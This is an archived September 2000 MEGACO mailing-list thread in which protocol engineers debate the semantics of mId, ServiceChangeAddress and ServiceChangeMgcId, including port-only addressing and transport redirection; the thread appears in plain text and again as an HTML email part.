> So do we have any consensus resolution on this issue ?
>
> -- Flemming
>
> "Rosen, Brian" wrote:
>
> > Yeah, the mId started life as the thing in the header that let an
> > MGC know which entity it was talking to.  It's always been an
> > address though - desirable as an FQDN and acceptable to be a hard
> > address.
> >
> > The intention of ServiceChangeMid was to be the referral
> address for an
> > association that was not acceptable to the MGC.
> ServiceChangeAddress used
> > to be port, and it was just for changing port numbers, not
> addresses.  We
> > went downhill (IMO) from there.
> >
> > I'm with Flemming, one thing is all we need, but we are
> stuck with 2 for
> > now.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Tom-PT Taylor [ mailto:taylor@NORTELNETWORKS.COM
<mailto:taylor@NORTELNETWORKS.COM> ]
> > > Sent: Tuesday, September 05, 2000 3:16 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > >
> > > I think we agree that MId is just an identifier of a peer
> in a control
> > > session.  I still ask myself why we defined it to be an
> > > address rather than
> > > an arbitrary string.  I suspect we changed intentions since
> > > it first showed
> > > up.
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [ mailto:fandreas@CISCO.COM
<mailto:fandreas@CISCO.COM> ]
> > > > Sent: Tuesday, September 05, 2000 3:12 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > >
> > > > Bharat Kaul wrote:
> > > >
> > > > > Hi Flemming, Brian and List,
> > > > >
> > > > >   ServiceChangeMGCId should be kept for contacting a new
> > > > MGC or rather
> > > > > establishing new control Session.
> > > > >
> > > > > ServiceChangeAddress is for redirection within a MGC e.g.
> > > > MG contacts MGC at
> > > > > a default port and based on some policy MGC wants to assign
> > > > MG to a specific
> > > > > port, it should send ServiceChangeAddress specifying the
> > > > port.These two
> > > > > semantics seem clear and fair enough.
> > > >
> > > > I quite frankly don't understand the need for having port as
> > > > an identifier and
> > > > then being able to specify another port to override it, while
> > > > keeping the
> > > > identifier port the same.
> > > >
> > > >
> > > > >
> > > > >
> > > > > Port in MID should be just a tool to identify an entity
> > > > uniquely, with one
> > > > > requirement that MID for a control session is consistent
> > > between two
> > > > > entities.
> > > >
> > > > In that case it should be called something different than a
> > > > port, or at least be
> > > > treated as something different.
> > > >
> > > > -- Flemming
> > > >
> > > >
> > > > >
> > > > >
> > > > > - Bharat
> > > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [ mailto:fandreas@CISCO.COM
<mailto:fandreas@CISCO.COM> ]
> > > > > Sent: Tuesday, September 05, 2000 8:29 AM
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > > Let's take a step back here and ask ourselves what we are
> > > > trying to achieve:
> > > > >
> > > > > 1. We have a need to identify the entity we wish to
> > > communicate with
> > > > > 2. We have a need to communicate with that entity.
> > > > >
> > > > > This is a classical naming issue that doesn't need to
> > > become overly
> > > > > complicated. In order to get from the name in 1 to the
> > > > address (or route) in
> > > > > 2, you need to perform name resolution in the cases where
> > > > the name itself is
> > > > > not an address. For domain names, this name resolution is
> > > > achieved by DNS,
> > > > > for IP-addresses, it should normally be a NOP. By having both
> > > > > ServiceChangeMGGId and ServiceChangeAddress, you are
> > > > effectively providing
> > > > > an alternate name resolution mechanism which overrides DNS
> > > > and allows one
> > > > > IP-address to map to another. We should not be doing that,
> > > > and I also note
> > > > > that this was probably not the authors' intent, since
> > > > ServiceChangeAddress
> > > > > and ServiceChangeMGCId are not both allowed in a
> single command.
> > > > >
> > > > > That still leaves open the question of exactly what
> > > > ServiceChangeAddress
> > > > > then is, and I believe Brian answered that earlier with his
> > > > two proposals.
> > > > > In a perfect world, I would prefer getting rid of
> > > > ServiceChangeAddress, but
> > > > > we may be beyond that. Does it make sense to allow just a
> > > > port number then ?
> > > > > Considering that we already allow for port in mId, port is
> > > > part of the name
> > > > > and for the same reasons as we shouldn't map one IP-address
> > > > to another, we
> > > > > shouldn't map one port to another either IMO. If the MGC
> > > > (or MG) wants the
> > > > > other party to talk to it on another port, it simply sends
> > > > back another
> > > > > ServiceChangeMGCId with that port number in it.
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > It depends on what you want to have happen.
> > > > > >
> > > > > > If you want the MG, on receipt of a reply with a
> > > > ServiceChangeAddress,
> > > > > > to tear down it's current transport connection, create
> > > a new one,
> > > > > > and stand by for messages from the MGC, then I suppose
> > > > you would be
> > > > > > correct.
> > > > > >
> > > > > > If it was TCP (and I guess SCTP), this is pretty weird,
> > > > because the
> > > > > > MG established a full duplex connection, but the
> next message is
> > > > > > almost certainly from the MGC.  The MGC is going to have
> > > > to watch for
> > > > > > this carefully, and not send messages until the new
> > > channel is up.
> > > > > >
> > > > > > Or, the MGC can just use ServiceChangeMid.  The MG will
> > > respond by
> > > > > > tearing down the transport, establishing a new one,
> and sending
> > > > > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > > > > ServiceChange, at the "new" address, looks like a
> > > > complete new start.
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > -----Original Message-----
> > > > > > From: Christian Groves
> > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Sent: 9/3/00 7:38 PM
> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > > >
> > > > > > G'Day Brian and Flemming,
> > > > > >
> > > > > > I saw that the difference between when you use
> > > > ServiceChangeAddress and
> > > > > > ServiceChangeMid was that the ServiceChangeAddress was
> > > > used when talking
> > > > > > to an already contacted physical MGC. The
> > > > ServiceChangeMid was used to
> > > > > > contact a physically seperate MGC. So I don't see
> the need of
> > > > > > disallowing anything but the port in IP as the MGC may
> > > > have a range of
> > > > > > addresses.
> > > > > >
> > > > > > Cheers, Christian
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > I thought you might say that, I've been thinking about it
> > > > > > > since I sent the message.
> > > > > > >
> > > > > > > Posing the question slightly differently, if the
> > > > ServiceChangeAddress
> > > > > > > can do what ServiceChangeMid can do, so why have two
> > > mechanisms?
> > > > > > > The only difference would be the MGs actions.  If you used
> > > > > > > ServiceChangeAddress,
> > > > > > > the MG would not send a new ServiceChange command to
> > > > the new address.
> > > > > > > If you used ServiceChangeMid, it would.  The end result
> > > > would be the
> > > > > > same.
> > > > > > >
> > > > > > > We can:
> > > > > > >         Explicitly disallow ServiceChangeAddress from
> > > > being used to
> > > > > > >                 change anything but IP Port when
> used with IP
> > > > > > >         Get rid of one of the two of them
> > > > > > >
> > > > > > > I favor the former, as that is easiest, is most
> > > consistent with
> > > > > > > history, and makes the most sense to me.  I'll
> note that what
> > > > > > > we call ServiceChangeAddress used to be "port".  It got
> > > > > > > changed when we realized "port" wouldn't make
> sense if it was
> > > > > > > not an IP transport.
> > > > > > >
> > > > > > > Brian
> > > > > > >
> > > > > > > > -----Original Message-----
> > > > > > > > From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> > > > > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > > > > To: Rosen, Brian
> > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > Subject: Re: Supplying only a port on a
> ServiceChangeAddress
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > "Rosen, Brian" wrote:
> > > > > > > >
> > > > > > > > > I think the issue is that you can have the same MGC
> > > > have multiple
> > > > > > > > > IP addresses.  You accept the association, but
> > > > change the address.
> > > > > > > > > Say, a pool of servers appearing to be one MGC.
> > > > > > > >
> > > > > > > > I'm not sure I fully understand what an
> association is then.
> > > > > > > > What's the
> > > > > > > > difference/relationship between the association
> > > > address and the
> > > > > > > > ServiceChangeMgcId (which may itself contain an
> address or
> > > > > > indirectly
> > > > > > > > refer to a number of addresses through DNS) ?
> > > > > > > >
> > > > > > > > -- Flemming
> > > > > > > >
> > > > > > > >
> > > > > > > > >
> > > > > > > > >
> > > > > > > > > Brian
> > > > > > > > >
> > > > > > > > > > -----Original Message-----
> > > > > > > > > > From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> > > > > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > > > > To: Rosen, Brian
> > > > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > > > Subject: Re: Supplying only a port on a
> > > > ServiceChangeAddress
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > > "Rosen, Brian" wrote:
> > > > > > > > > >
> > > > > > > > > > > Suppose all you want to specify in a
> > > > ServiceChangeAddress
> > > > > > > > > > is a port number
> > > > > > > > > > > that is, the IP address doesn't change, but the
> > > > port does.
> > > > > > > > > > >
> > > > > > > > > > > The ABNF sez:
> > > > > > > > > > > serviceChangeAddress =
> > > > ServiceChangeAddressToken EQUAL VALUE
> > > > > > > > > > >
> > > > > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > > > > >
> > > > > > > > > > > The example shows just a port number.
> > > > > > > > > >
> > > > > > > > > > Actually, I thought that's all that would be
> > > > allowed in the
> > > > > > > > > > case of IP. If
> > > > > > > > > > not, how can it be within the "context of the
> > > association
> > > > > > > > > > currently being
> > > > > > > > > > negotiated", and how would it then relate to
> > > > ServiceChangeMgcId
> > > > > > ?
> > > > > > > > > >
> > > > > > > > > > -- Flemming
> > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > > Should that be legal?  Should you have to
> > > specify the IP
> > > > > > address
> > > > > > > > > > > as x.x.x.x:p?
> > > > > > > > > > >
> > > > > > > > > > > Brian
> > > > > > > > > >
> > > > > > > > > > --
> > > > > > > > > > Flemming Andreasen
> > > > > > > > > > Cisco Systems
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > >
> > > > > > > > --
> > > > > > > > Flemming Andreasen
> > > > > > > > Cisco Systems
> > > > > > > >
> > > > > > > >
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > >
>
> --
> Flemming Andreasen
> Cisco Systems
>
>
>


------_=_NextPart_001_01C018DA.C267BED0
Content-Type: text/html;
        charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: Supplying only a port on a ServiceChangeAddress</TITLE>

<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=380333814-07092000>Brian,
you've got directions reversed, I think.&nbsp; If the MG sends a
ServiceChangeAddress, then the MGC is being told to send its requests to that
address.&nbsp; The MGC is the one that has to establish the transport connection
(if required), because the MGC is the one that knows what source address it
wants to use.&nbsp; Beyond this, the MGC knows that the MG is ready because it
has established its new connection or (for UDP) simply because the MG wouldn't
have asked for the change if it wasn't ready to handle it.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=380333814-07092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=380333814-07092000>Now
consider the case where the MGC has sent the MG a ServiceChangeAddress.&nbsp;
Here it is telling the MG where to send new requests.&nbsp; The MG is
responsible for setting up the transport connection, and knows when it can start
sending as a result.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=380333814-07092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=380333814-07092000>You
never have a situation where one end has to wait for the other to set up a
transport connection before it can send messages.</SPAN></FONT></DIV>
<BLOCKQUOTE
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
  size=2>-----Original Message-----<BR><B>From:</B> Rosen, Brian
  [mailto:Brian.Rosen@marconi.com]<BR><B>Sent:</B> Thursday, September 07, 2000
  9:11 AM<BR><B>To:</B> 'Bharat Kaul'; Taylor, Tom-PT [NORSE:B901:EXCH];
  'Flemming Andreasen'<BR><B>Cc:</B>
  megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE: Supplying only a
  port on a ServiceChangeAddress<BR><BR></DIV></FONT>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=360400313-07092000>I'm
  still stuck on how you expect this to work if you don't abandon the
  current</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=360400313-07092000>control association and start a new one.&nbsp;
  Whether you change addresses,</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=360400313-07092000>or
  even if you change ports, the MGC has to wait until the new transport
  is</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=360400313-07092000>established, and then send the first message on the
  transport established by</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=360400313-07092000>the
  MG.&nbsp; This is unlike any mechanism I know of.&nbsp; In all cases that I've
  seen,</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=360400313-07092000>the
  first message on a new port/address comes from the entity
  establishing</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=360400313-07092000>the
  transport.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=360400313-07092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=360400313-07092000>For
  UDP it's not all that hard EXCEPT that you have no idea when to send
  a</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=360400313-07092000>message - how do you know that the MG is listening on
  the port?&nbsp; You asked him</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=360400313-07092000>to
  change, and you get no packets telling you&nbsp; he did
it.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=360400313-07092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=360400313-07092000>For
  TCP it's at least possible if you get into the TCP machinery, because you
  can</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=360400313-07092000>see
  the TCP connection state on the new port being established.&nbsp; However,
  the</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=360400313-07092000>MGC
  has to watch this, and after it's established, then send it's first
  message,</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=360400313-07092000>again before it gets any messages from the
  MG.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=360400313-07092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=360400313-07092000>The
  other way, using ServiceChangeMgcId, you reply with the new
  port,</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=360400313-07092000>clear your state, and sit back.&nbsp; You will get a
  new ServiceChange on the correct</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=360400313-07092000>port.&nbsp; Much easier.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=360400313-07092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN
  class=360400313-07092000>Brian</SPAN></FONT></DIV>
  <BLOCKQUOTE
  style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
    <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
    size=2>-----Original Message-----<BR><B>From:</B> Bharat Kaul
    [mailto:bharat@trillium.com]<BR><B>Sent:</B> Wednesday, September 06, 2000
    6:34 PM<BR><B>To:</B> Rosen, Brian; 'Tom-PT Taylor'; 'Flemming Andreasen';
    Bharat Kaul<BR><B>Cc:</B>
    megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE: Supplying only a
    port on a ServiceChangeAddress<BR><BR></DIV></FONT>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>I
    also agree with what seems to be the evolving
    consensus.&nbsp;&nbsp;</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000>However, we might to have evaluate the choice of IP
    Address being present as part of ServiceChangeAddress more carefully before
    disallowing it. </SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000>The case in point being an entity wanting to
    redirect the conversation on a particular interface and a port or current
    interface and a particular port. For first case, we need to allow presence
    of IP Address. For second case, we are fine with port. So effectively, it
    boils down to using ServiceChangeMgcId.</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>It
    might be&nbsp; a requirement that&nbsp;MG&nbsp; receiving&nbsp;the
    parameter&nbsp; knows exactly that it has been asked to communicate on other
    interface with the same&nbsp;MGC and hasn't been redirected to a altogether
    new MGC otherwise the MG might interpret them as two separate entities which
    is not a correct picture.</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000>Any comments on&nbsp; this ?</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>-
    Bharat</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <BLOCKQUOTE style="MARGIN-RIGHT: 0px">
      <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
      size=2>-----Original Message-----<BR><B>From:</B> Rosen, Brian
      [mailto:Brian.Rosen@marconi.com]<BR><B>Sent:</B> Wednesday, September 06,
      2000 11:12 AM<BR><B>To:</B> 'Tom-PT Taylor'; 'Flemming Andreasen'; Bharat
      Kaul<BR><B>Cc:</B> megaco@standards.nortelnetworks.com<BR><B>Subject:</B>
      RE: Supplying only a port on a ServiceChangeAddress<BR><BR></DIV></FONT>
      <BLOCKQUOTE
      style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
        <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
        size=2></DIV></FONT>
        <P><FONT size=2>OK, I'd say we have consensus on the following:</FONT>
        </P>
        <P><FONT size=2>(1) As oft repeated, the mId designates a peer in a
        control session.&nbsp; It does not change even if the addresses used in
        the session change.&nbsp; Different port addresses could be used to
        designate different virtual MGs, but this is a local implementation
        issue.<FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>I'm assuming here&nbsp;that you mean mId, the
        thing that goes in every message, and that&nbsp;there is no arbitrary
        changing of it - changes get signalled in ServiceChange.&nbsp;&nbsp;mId
        serves to identify which association this message refers to.&nbsp; Given
        those caveats</SPAN></FONT></FONT><FONT size=2><FONT color=#0000ff
        face=Arial><SPAN class=730190518-06092000>, I
        agree.&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2>(2) ServiceChangeAddress can be used to change the
        address to which the peer sends requests within the existing control
        session.&nbsp; The ABNF syntax of ServiceChangeAddress is VALUE, which
        permits designation of a port only within a quoted string.&nbsp; The
        difference between this and the ASN.1 syntax is what started this whole
        thread, but is irrelevant because the functionality is still
        available.&nbsp; There is the legitimate question of whether the
        ServiceChangeAddress functionality is needed.&nbsp; I'm not sure I have
        consensus to deprecate use of ServiceChangeAddress.<FONT color=#0000ff
        face=Arial><SPAN
class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>I'd like to see if we could develop a
        consensus, but I can live with it.</SPAN></FONT></FONT></P>
        <P><FONT color=#0000ff face=Arial size=2><SPAN
        class=730190518-06092000>I'm still concerned about the difficulty of
        changing address, or port, with TCP transport.&nbsp; We need at least a
        note of caution in the Implementers Guide.</SPAN></FONT></P>
        <P><FONT size=2>(3) ServiceChangeMGgcId is used to redirect the control
        session.&nbsp; The ABNF type of ServiceChangeMgcId is MId, which
        presumably is why MId is so carefully developed as an address.<FONT
        color=#0000ff face=Arial><SPAN
        class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>Yes!&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2>There is an open issue regarding TCP.&nbsp; That is, is
        everyone prepared to accept the restriction Bharat wants to place on
        TCP, to the effect that the MG is never a listener?<FONT color=#0000ff
        face=Arial><SPAN
class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>Yes!</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>Brian&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2>&gt; -----Original Message-----</FONT> <BR><FONT
        size=2>&gt; From: Flemming Andreasen [<A
        href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
        <BR><FONT size=2>&gt; Sent: Wednesday, September 06, 2000 10:39
        AM</FONT> <BR><FONT size=2>&gt; To: Rosen, Brian; Taylor, Tom-PT
        [NORSE:B901:EXCH]; Bharat Kaul</FONT> <BR><FONT size=2>&gt; Cc:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt;
        Subject: Re: Supplying only a port on a ServiceChangeAddress</FONT>
        <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; </FONT><BR><FONT
        size=2>&gt; So do we have any consensus resolution on this issue
        ?</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; --
        Flemming</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt;
        "Rosen, Brian" wrote:</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT
        size=2>&gt; &gt; Yeah, the mId started life as the thing in the header
        that let an</FONT> <BR><FONT size=2>&gt; &gt; MGC know which entity it
        was talking to.&nbsp; It's always been an</FONT> <BR><FONT size=2>&gt;
        &gt; address though - desirable as an FQDN and acceptable to be a
        hard</FONT> <BR><FONT size=2>&gt; &gt; address.</FONT> <BR><FONT
        size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; The intention of
        ServiceChangeMid was to be the referral </FONT><BR><FONT size=2>&gt;
        address for an</FONT> <BR><FONT size=2>&gt; &gt; association that was
        not acceptable to the MGC.&nbsp; </FONT><BR><FONT size=2>&gt;
        ServiceChangeAddress used</FONT> <BR><FONT size=2>&gt; &gt; to be port,
        and it was just for changing port numbers, not </FONT><BR><FONT
        size=2>&gt; addresses.&nbsp; We</FONT> <BR><FONT size=2>&gt; &gt; went
        downhill (IMO) from there.</FONT> <BR><FONT size=2>&gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; I'm with Flemming, one thing is all we need,
        but we are </FONT><BR><FONT size=2>&gt; stuck with 2 for</FONT>
        <BR><FONT size=2>&gt; &gt; now.</FONT> <BR><FONT size=2>&gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; Brian</FONT> <BR><FONT size=2>&gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; -----Original
        Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; From: Tom-PT Taylor
        [<A
        href="mailto:taylor@NORTELNETWORKS.COM">mailto:taylor@NORTELNETWORKS.COM</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; Sent: Tuesday, September 05, 2000 3:16
        PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; To:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; Subject: Re: Supplying only a port on a ServiceChangeAddress</FONT>
        <BR><FONT size=2>&gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; I think we agree that MId is
        just an identifier of a peer </FONT><BR><FONT size=2>&gt; in a
        control</FONT> <BR><FONT size=2>&gt; &gt; &gt; session.&nbsp; I still
        ask myself why we defined it to be an</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; address rather than</FONT> <BR><FONT size=2>&gt; &gt; &gt; an
        arbitrary string.&nbsp; I suspect we changed intentions since</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; it first showed</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; up.</FONT> <BR><FONT size=2>&gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; -----Original Message-----</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; From: Flemming Andreasen [<A
        href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; Sent: Tuesday, September 05, 2000
        3:12 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; To:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; Subject: Re: Supplying only a port on a
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; Bharat Kaul wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Hi Flemming, Brian
        and List,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;&nbsp;&nbsp; ServiceChangeMGCId
        should be kept for contacting a new</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; MGC or rather</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        establishing new control Session.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        ServiceChangeAddress is for redirection within a MGC e.g.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; MG contacts MGC at</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; a default port and based on some policy
        MGC wants to assign</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; MG to a
        specific</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; port, it
        should send ServiceChangeAddress specifying the</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; port.These two</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; semantics seem clear and fair enough.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; I quite frankly don't understand the need for having port
        as</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; an identifier and</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; then being able to specify another
        port to override it, while</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        keeping the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; identifier port
        the same.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; Port in MID should be just a tool to
        identify an entity</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; uniquely,
        with one</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; requirement
        that MID for a control session is consistent</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; between two</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; entities.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; In that case it should be called
        something different than a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        port, or at least be</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; treated
        as something different.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; -- Flemming</FONT>
